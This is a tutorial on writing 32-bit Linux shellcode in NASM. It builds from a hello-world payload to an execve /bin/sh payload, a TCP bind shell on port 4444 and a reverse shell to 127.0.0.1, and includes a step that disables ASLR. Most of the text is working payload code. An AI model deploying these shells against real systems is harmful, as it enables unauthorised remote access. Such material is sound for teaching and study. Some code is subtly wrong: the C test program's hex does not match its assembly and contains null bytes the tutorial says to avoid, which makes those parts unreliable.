Writing a Shell Code for Linux
Linux Shellcode Development Tutorial - 32-bit Systems
Introduction
Shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. Understanding shellcode development is crucial for penetration testers and security researchers to understand attack vectors and develop better defenses.
Important Note: This tutorial is for educational purposes only. Always ensure you have proper authorization before testing on any systems.
Prerequisites
- Basic understanding of assembly language
- Knowledge of Linux system calls
- Familiarity with debugging tools (gdb, objdump)
- A 32-bit Linux environment or VM
Environment Setup
# Install necessary tools
sudo apt-get update
sudo apt-get install nasm gcc gdb strace
# Disable ASLR for consistent testing
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Understanding System Calls
Before writing shellcode, we need to understand how Linux system calls work. In 32-bit Linux:
- System call number goes in EAX
- Arguments go in EBX, ECX, EDX, ESI, EDI, EBP
- Use
int 0x80
to invoke the system call
Common system calls:
exit
: syscall 1write
: syscall 4execve
: syscall 11
Chapter 1: Basic "Hello World" Shellcode
Let's start with a simple shellcode that prints "Hello World" and exits.
Assembly Code (hello.asm)
section .text
global _start
_start:
; write system call
mov eax, 4 ; sys_write
mov ebx, 1 ; stdout
mov ecx, msg ; message
mov edx, msg_len ; message length
int 0x80 ; call kernel
; exit system call
mov eax, 1 ; sys_exit
mov ebx, 0 ; exit status
int 0x80 ; call kernel
section .data
msg db 'Hello World!', 0xa
msg_len equ $ - msg
Converting to Position-Independent Code
Real shellcode needs to be position-independent. Here's the improved version:
section .text
global _start
_start:
jmp short call_shellcode
shellcode:
; write system call
pop ecx ; get message address
mov eax, 4 ; sys_write
mov ebx, 1 ; stdout
mov edx, 13 ; message length
int 0x80 ; call kernel
; exit system call
mov eax, 1 ; sys_exit
mov ebx, 0 ; exit status
int 0x80 ; call kernel
call_shellcode:
call shellcode
db 'Hello World!', 0xa
Compiling and Testing
# Assemble and link
nasm -f elf32 hello.asm -o hello.o
ld -m elf_i386 hello.o -o hello
# Test
./hello
# Extract shellcode
objdump -d hello | grep -E "^ " | cut -f2 | tr -d ' ' | tr -d '\n'
C Test Program
Create a test program to verify your shellcode:
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\xeb\x19\x5e\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xb9\x0d\x00"
"\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80"
"\xe8\xe2\xff\xff\xff\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64"
"\x21\x0a";
int main() {
printf("Shellcode length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
return 0;
}
Compile and test:
gcc -fno-stack-protector -z execstack -m32 test.c -o test
./test
Chapter 2: Shell Spawning Shellcode
Now let's create shellcode that spawns a shell using execve("/bin/sh", ["/bin/sh"], NULL)
.
Assembly Code (shell.asm)
section .text
global _start
_start:
; Clear registers
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
; Push "/bin/sh" onto stack
push eax ; null terminator
push 0x68732f6e ; "n/sh"
push 0x69622f2f ; "//bi"
mov ebx, esp ; ebx points to "/bin//sh"
; Set up argv array
push eax ; argv[1] = NULL
push ebx ; argv[0] = "/bin//sh"
mov ecx, esp ; ecx points to argv
; execve system call
mov al, 11 ; sys_execve
int 0x80 ; call kernel
Optimized Version (Removing Null Bytes)
section .text
global _start
_start:
; Clear registers
xor eax, eax
push eax ; null terminator
; Push "/bin/sh" onto stack
push 0x68732f6e ; "n/sh"
push 0x69622f2f ; "//bi"
mov ebx, esp ; ebx points to "/bin//sh"
; Set up argv and envp
push eax ; envp = NULL
push ebx ; argv[0] = "/bin//sh"
mov ecx, esp ; ecx points to argv
mov edx, eax ; edx = NULL (envp)
; execve system call
mov al, 11 ; sys_execve (avoid null bytes)
int 0x80 ; call kernel
Testing the Shell Shellcode
# Assemble and link
nasm -f elf32 shell.asm -o shell.o
ld -m elf_i386 shell.o -o shell
# Test
./shell
# Extract shellcode
objdump -d shell | grep -E "^ " | cut -f2 | tr -d ' ' | tr -d '\n'
Chapter 3: TCP Bind Shell
A bind shell listens on a port and provides shell access to connecting clients.
Assembly Code (bind_shell.asm)
section .text
global _start
_start:
; socket(AF_INET, SOCK_STREAM, 0)
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 102 ; sys_socketcall
mov bl, 1 ; SYS_SOCKET
push edx ; protocol = 0
push 1 ; SOCK_STREAM
push 2 ; AF_INET
mov ecx, esp ; args
int 0x80 ; call kernel
mov esi, eax ; save socket fd
; bind(sockfd, {AF_INET, port, INADDR_ANY}, 16)
xor eax, eax
mov al, 102 ; sys_socketcall
mov bl, 2 ; SYS_BIND
push edx ; INADDR_ANY (0.0.0.0)
push word 0x5c11 ; port 4444 (0x115c in network byte order)
push word 2 ; AF_INET
mov ecx, esp ; sockaddr_in struct
push 16 ; addrlen
push ecx ; addr
push esi ; sockfd
mov ecx, esp ; args
int 0x80 ; call kernel
; listen(sockfd, 0)
xor eax, eax
mov al, 102 ; sys_socketcall
mov bl, 4 ; SYS_LISTEN
push edx ; backlog = 0
push esi ; sockfd
mov ecx, esp ; args
int 0x80 ; call kernel
; accept(sockfd, NULL, NULL)
xor eax, eax
mov al, 102 ; sys_socketcall
mov bl, 5 ; SYS_ACCEPT
push edx ; addrlen = NULL
push edx ; addr = NULL
push esi ; sockfd
mov ecx, esp ; args
int 0x80 ; call kernel
mov ebx, eax ; save client fd
; dup2(clientfd, 0/1/2) - redirect stdin/stdout/stderr
xor ecx, ecx
dup_loop:
mov al, 63 ; sys_dup2
int 0x80 ; call kernel
inc ecx
cmp cl, 3
jne dup_loop
; execve("/bin/sh", ["/bin/sh"], NULL)
xor eax, eax
push eax ; null terminator
push 0x68732f6e ; "n/sh"
push 0x69622f2f ; "//bi"
mov ebx, esp ; ebx points to "/bin//sh"
push eax ; envp = NULL
push ebx ; argv[0] = "/bin//sh"
mov ecx, esp ; ecx points to argv
mov edx, eax ; edx = NULL
mov al, 11 ; sys_execve
int 0x80 ; call kernel
Testing the Bind Shell
# Compile
nasm -f elf32 bind_shell.asm -o bind_shell.o
ld -m elf_i386 bind_shell.o -o bind_shell
# Run in one terminal
./bind_shell
# Connect from another terminal
nc localhost 4444
Chapter 4: TCP Reverse Shell
A reverse shell connects back to an attacker's machine.
Assembly Code (reverse_shell.asm)
section .text
global _start
_start:
; socket(AF_INET, SOCK_STREAM, 0)
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 102 ; sys_socketcall
mov bl, 1 ; SYS_SOCKET
push edx ; protocol = 0
push 1 ; SOCK_STREAM
push 2 ; AF_INET
mov ecx, esp ; args
int 0x80 ; call kernel
mov esi, eax ; save socket fd
; connect(sockfd, {AF_INET, port, IP}, 16)
xor eax, eax
mov al, 102 ; sys_socketcall
mov bl, 3 ; SYS_CONNECT
push 0x0100007f ; IP address (127.0.0.1 in network byte order)
push word 0x5c11 ; port 4444
push word 2 ; AF_INET
mov ecx, esp ; sockaddr_in struct
push 16 ; addrlen
push ecx ; addr
push esi ; sockfd
mov ecx, esp ; args
int 0x80 ; call kernel
; dup2(sockfd, 0/1/2) - redirect stdin/stdout/stderr
mov ebx, esi ; socket fd
xor ecx, ecx
dup_loop:
mov al, 63 ; sys_dup2
int 0x80 ; call kernel
inc ecx
cmp cl, 3
jne dup_loop
; execve("/bin/sh", ["/bin/sh"], NULL)
xor eax, eax
push eax ; null terminator
push 0x68732f6e ; "n/sh"
push 0x69622f2f ; "//bi"
mov ebx, esp ; ebx points to "/bin//sh"
push eax ; envp = NULL
push ebx ; argv[0] = "/bin//sh"
mov ecx, esp ; ecx points to argv
mov edx, eax ; edx = NULL
mov al, 11 ; sys_execve
int 0x80 ; call kernel
Shellcode Optimization Techniques
1. Removing Null Bytes
Null bytes terminate strings in C, so they must be avoided:
; Bad - contains null bytes
mov eax, 1
; Good - avoids null bytes
xor eax, eax
inc eax
2. Size Optimization
Use shorter instructions:
; Longer
mov eax, 0
mov ebx, 0
; Shorter
xor eax, eax
xor ebx, ebx
3. Self-Modifying Code
For complex shellcode, you might need to decode encrypted payloads at runtime.
Testing and Debugging
Using GDB
gdb ./shellcode_test
(gdb) set disassembly-flavor intel
(gdb) break main
(gdb) run
(gdb) disas shellcode
(gdb) x/20i shellcode
Using Strace
strace ./shellcode_test
Checking for Null Bytes
objdump -d shellcode | grep -P '\t00 '